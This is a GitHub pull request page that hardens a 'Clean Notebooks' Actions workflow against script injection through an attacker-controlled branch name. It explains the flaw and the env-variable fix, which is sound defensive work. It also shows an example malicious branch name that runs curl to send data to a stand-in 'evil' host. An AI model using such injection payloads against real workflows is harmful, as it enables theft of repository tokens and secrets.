Skip to content

chore(security): quote PR head ref in Clean Notebooks workflow to prevent script injection#627

Draft
w-mclaughlin wants to merge 1 commit into
mainfrom
w-mclaughlin/VULNMGMT-2001-quote-head-ref-in-cleanup-workflow
Draft

chore(security): quote PR head ref in Clean Notebooks workflow to prevent script injection#627
w-mclaughlin wants to merge 1 commit into
mainfrom
w-mclaughlin/VULNMGMT-2001-quote-head-ref-in-cleanup-workflow

Conversation

@w-mclaughlin

@w-mclaughlin w-mclaughlin commented Jun 30, 2026

Copy link
Copy Markdown

Harden the Clean Notebooks workflow against GitHub Actions script injection (CWE-78)

What: In .github/workflows/cleanup.yml, the Commit and push if changed step interpolated the PR head branch name directly into a shell command:

git push origin HEAD:${{ github.event.pull_request.head.ref }}

Why it's a problem: This workflow runs on pull_request_review: [submitted] — a privileged, fork-reachable trigger that executes in the base-repo context with contents: write + pull-requests: write and the repo GITHUB_TOKEN. The PR head branch name is attacker-controlled (git refs permit shell metacharacters like $( ) ; | \ ), and the ${{ }}expression is expanded by the Actions runner *before* the shell parses the line — so a fork branch named e.g.$(curl$IFS-d@…evil)would execute arbitrary commands on the runner, enabling theft of the write-scopedGITHUB_TOKEN` and any secrets. The only gate is a maintainer approving the review, which happens routinely without inspecting branch names.

The fix (GitHub-recommended pattern): bind the untrusted value to an env: variable and reference it as a quoted shell variable, so the branch name is treated as literal data, never as code:

env:
  HEAD_REF: ${{ github.event.pull_request.head.ref }}
run: |
  ...
  git push origin "HEAD:$HEAD_REF"

No behavior change for legitimate branches; malicious metacharacters become literals.

Notes for the reviewer (out of scope for this minimal fix)

  • Defense-in-depth: this workflow also checks out the untrusted PR head ref (ref: ${{ github.event.pull_request.head.ref }}) under the privileged trigger. Worth reviewing whether the auto-clean-and-push design is necessary, or whether the trigger can be tightened.
  • Ownership: wandb/examples has no CODEOWNERS file, so automated security triage could not attribute an owner. Consider adding one so future findings route to the right team.

Refs: CWE-78 · GitHub: security hardening for Actions — script injection


Jira: VULNMGMT-2001
Opened by AppSec automated triage.

…vent script injection

Addresses VULNMGMT-2001.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant